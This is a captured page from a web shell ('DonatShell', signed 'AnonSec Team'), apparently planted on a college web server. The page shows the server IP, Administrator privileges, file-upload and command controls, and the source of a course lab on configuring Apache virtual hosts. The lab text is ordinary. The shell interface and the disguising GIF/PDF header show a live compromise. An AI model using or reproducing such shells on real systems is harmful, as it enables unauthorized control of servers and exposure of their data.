GIF89a; %PDF-1.5 %���� ºaâÚÎΞ-ÌE1ÍØÄ÷{òò2ÿ ÛÖ^ÔÀá TÎ{¦?§®¥kuµù Õ5sLOšuY Donat Was Here
DonatShell
Server IP : 134.29.175.74  /  Your IP : 216.73.216.160
Web Server : nginx/1.10.2
System : Windows NT CST-WEBSERVER 10.0 build 19045 (Windows 10) i586
User : Administrator ( 0)
PHP Version : 7.1.0
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : OFF  |  Perl : OFF  |  Python : OFF  |  Sudo : OFF  |  Pkexec : OFF
Directory :  C:/nginx/html/MichaelMalz/CST1611/_Archive/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ HOME SHELL ]     

Current File : C:/nginx/html/MichaelMalz/CST1611/_Archive/Lab03.php
<?
// JimMartinson/CST1611/Lab02.php

$TRACK = "<b>".basename(__FILE__).'</b> <span class="pv_fl">('.__FILE__.")</span>\n<ol>\n";
ini_set('include_path',ini_get('include_path').PATH_SEPARATOR.$_SERVER['DOCUMENT_ROOT']."/"); // Add the DOCUMENT_ROOT to the include_path.
$thisFile=__FILE__; $thisLine=__LINE__; include('application.phpinc');
$thisFile=__FILE__; $thisLine=__LINE__; include('Course/courseInfo.phpinc');
$thisFile=__FILE__; $thisLine=__LINE__; include('classInfo.phpinc');

$assignmentNumber = 3;
$assignmentType = "";
$assignmentTitle = "Virtual Hosts";
$evaluationType = "Lab";
if ($assignmentType == '') $assignmentType = $evaluationType;
$evaluationTitle = $assignmentTitle;
if (strlen($assignmentNumber) == 1) { $assignmentName = $assignmentType."0".$assignmentNumber; $evaluationName = $evaluationType."0".$assignmentNumber; } else { 
$assignmentName = $assignmentType.$assignmentNumber; $evaluationName = $evaluationType.$assignmentNumber; }
if ($evaluationTitle != '') $evaluationTitle = ' - '.$evaluationTitle;
$title = $assignmentType." ".$assignmentNumber.": ".$assignmentTitle;
$headTitle = '_CST_ - '.$courseNumber.' '.$courseTitle.' - '.$title;
$pageTitle = $courseNumber.' '.$courseTitle.'<br>'.$title;
$week = 6;

$pageMenu = 'Course/courseMenu.phpinc';
$smallTitle = true;
$thisFile = __FILE__; $thisLine=__LINE__; include('common/pageHeader.phpinc');
$f_uId = formValue('uId'); if ( $f_uId ) { $userId = $f_uId; $userFullName = str_replace(" ","",username($userId)); } else { $userFullName = str_replace(" ","",$_SESSION['userFullName']); $userId = $_SESSION['userId']; }
$sectionTitle = $courseNumber.' '.$courseTitle.' - '.$title.' - '.username($userId);
$thisFile = __FILE__; $thisLine=__LINE__; include('common/sectionHeader.phpinc');
?>
<style type="text/css">b {white-space:nowrap;}</style>
<p>
<fieldset><legend><?=$evaluationType?> Assignment</legend><span class="normal">
The purpose of this lab is to demonstrate the ability to create virtual hosts with Apache directives.
<ol>
  <li>Setup a folder for this lab.
    <ul type="circle">
      <li>Create a folder called <b><?=$evaluationName?></b> inside your <b><?=$_SESSION['userDefaultDrive']?>:\Data_WWW\CST1611</b> folder.</li>
      <li>Create a text file called <b>!You are in the <?=$_SESSION['userFullName']?> <?=$evaluationName?> folder</b> in the <b><?=$_SESSION['userDefaultDrive']?>:\Data_WWW\CST1611\<?=$evaluationName?></b> folder.</li>
    </ul>
  </li>
  <li>Setup a Name-based Virtual Host.
    <ol type="A">
      <li>Edit your <b>hosts</b> file and add a host definition.
      	<ul type="circle">
        	<li>Open your <b>C:\Windows\system32\drivers\etc\hosts</b> file in a text editor editor like TextPad or Notepad.</li>
          <li>Enter the line <code>127.0.0.1	CST1611.loc</code> and make sure there is a blank line at the end of the file.</li>
          <li>Save your changes.</li>
          <li>Verify the <b>CST1611.loc</b> host works.
            <ul>
              <li>Open up a browser.</li>
              <li>Enter <b>CST1611.loc</b> in the address bar and hit enter.
                You should see something like:<br><img src="Lab03/cst1611.loc_host.png" width="700" height="300" alt="cst1611.loc host test">
              </li>
            </ul>
          </li>
        </ul>
      </li>
      <li>Use the <code>VirtualHost</code> directive to create a Name-based VirtualHost for the <b><?=$_SESSION['userDefaultDrive']?>:\Data_WWW\CST1611</b> folder.
      	<ul type="circle">
          <li>Edit your Apache config. At the bottom of the file add the comment: <code>#<?=$evaluationName?></code>. Place all your work for this lab below the comment.</li>
        	<li>Copy the default localhost VirtualHost directive lines.</li>
          <li>Modify the copy so that:
          	<ul>
              <li><code>DocumentRoot</code> is <tt><?=$_SESSION['userDefaultDrive']?>:/Data_WWW/CST1611</tt>.</li>
              <li><code>ServerName</code> is <tt>CST1611.loc</tt>.</li>
              <li><code>ErrorLog</code> is <tt>logs/cst1611.loc.Error.log</tt>.</li>
              <li><code>CustomLog</code> is <tt>logs/cst1611.loc.Access.log common</tt>.</li>
              <li><code>Directory</code> is <tt><?=$_SESSION['userDefaultDrive']?>:/Data_WWW/CST1611/</tt>.</li>
            </ul>
          </li>
          <li>Save your changes.</li>
          <li>Verify the <code>VirtualHost</code> works.
            <ul>
              <li>Restart Apache.</li>
              <li>Open up a browser.</li>
              <li>Enter <b>CST1611.loc</b> in the address bar and hit enter.
                You should see something like:<br><img src="Lab03/cst1611.loc.png" width="700" height="300" alt="cst1611.loc Virtual Host test">
              </li>
            </ul>
          </li>
        </ul>
      </li>
    </ol>
  </li>
  <li>Setup an IP-based Virtual Host.
    <ol type="A">
      <li>Edit your <b>hosts</b> file and add a host definition.
      	<ul type="circle">
        	<li>Open your <b>C:\Windows\system32\drivers\etc\hosts</b> file in a text editor editor like TextPad or Notepad.</li>
          <li>Determine you hosts IP address. Note the address and replace <var>0_0_0_0</var> with your IP address below.</li>
          <li>Enter the line <code><var>0_0_0_0</var>	host-ip-address</code> and make sure there is a blank line at the end of the file.</li>
          <li>Save your changes.</li>
          <li>Verify the <b>host-ip-address</b> host works.
            <ul>
              <li>Open up a browser.</li>
              <li>Enter <b>host-ip-address</b> in the address bar and hit enter.
                You should see something like:<br><img src="Lab03/host-ip-address_host.png" width="700" height="300" alt="host-ip-address host test">
              </li>
            </ul>
          </li>
        </ul>
      </li>
      <li>Use the <code>VirtualHost</code> directive to create a IP-based VirtualHost for the <b><?=$_SESSION['userDefaultDrive']?>:\Data_WWW\CST1611\<?=$evaluationName?></b> folder.
      	<ul type="circle">
        	<li>Edit your Apache config. Copy the default localhost VirtualHost directive lines.</li>
          <li>Modify the copy so that:
          	<ul>
              <li><code>VirtualHost</code> IP address is <tt>host-ip-address</tt> instead of <tt>*</tt>.</li>
              <li><code>DocumentRoot</code> is <tt><?=$_SESSION['userDefaultDrive']?>:/Data_WWW/CST1611/<?=$evaluationName?></tt>.</li>
              <li><code>ServerName</code> is unnecessary, remove it.</li>
              <li><code>ErrorLog</code> is <tt>logs/IP.loc.Error.log</tt>.</li>
              <li><code>CustomLog</code> is <tt>logs/IP.loc.Access.log common</tt>.</li>
              <li><code>Directory</code> is <tt><?=$_SESSION['userDefaultDrive']?>:\Data_WWW\CST1611/<?=$evaluationName?>/</tt>.</li>
            </ul>
          </li>
          <li>Save your changes.</li>
          <li>Verify the <code>VirtualHost</code> works.
          	Restart Apache,open up a browser,enter <b>host-ip-address</b> in the address bar and hit enter.
            You should see something like:<br><img src="Lab03/host-ip-address.png" width="700" height="300" alt="host-ip-address Virtual Host test">
          </li>
        </ul>
      </li>
    </ol>
  </li>
  <li>Turn in <b><?=$evaluationName?></b> for grading.
    <ol type="A">
      <li>Copy your Apache <b>httpd.conf</b> file into the <b><?=$_SESSION['userDefaultDrive']?>:\Data_WWW\CST1611\<?=$evaluationName?></b> folder.</li>
      <li>Copy your <b>C:\Windows\system32\drivers\etc\hosts</b> file into the <b><?=$_SESSION['userDefaultDrive']?>:\Data_WWW\CST1611\<?=$evaluationName?></b> folder.</li>
      <li>Zip up your <b><?=$_SESSION['userDefaultDrive']?>:\Data_WWW\CST1611</b> directory into a file named <b>CST1611-<?=$evaluationName?>-<?=$userFullName?>.zip</b>.</li>
      <li>Send an email to <a href="mailto:jim.martinson@ridgewater.edu?subject=<?=$courseNumber?> - <?=$evaluationName?> Submission">jim.martinson@ridgewater.edu</a> with a subject of <b>CST1611 - <?=$evaluationName?> Submission</b> and attach your <b>CST1611-<?=$evaluationName?>-<?=$userFullName?>.zip</b> file.</li>
    </ol>
  </li>
 </ol>
</span>
</fieldset>

<fieldset><legend>Grading Criteria</legend><span class="normal">
Demonstrated assignment effectively: 10 points.
<br />
There are some things I expect. If they are incorrect you will lose the following:
<br />
Incorrect attachment file name: -1 pt.
<br />
Work submitted incorrectly: -1pt.
<br />
Incorrect subject in email: -1pt.
<br />
Second and subsequent submission of work for grading: -1pt.
<br />
Work submitted late: -1pt.
</span></fieldset>
<?
$thisFile=__FILE__; $thisLine=__LINE__; include('Notes/notes.phpinc');
$thisFile=__FILE__; $thisLine=__LINE__; include('ReferencesResources.phpinc');
$thisFile = __FILE__; $thisLine=__LINE__; include('common/sectionFooter.phpinc');
$thisFile = __FILE__; $thisLine=__LINE__; include('common/pageFooter.phpinc');
if ($TRACK != '') $_SESSION['TRACK'] .= "<li>End ".basename(__FILE__)."</ol>\n";

?>

Anon7 - 2022
AnonSec Team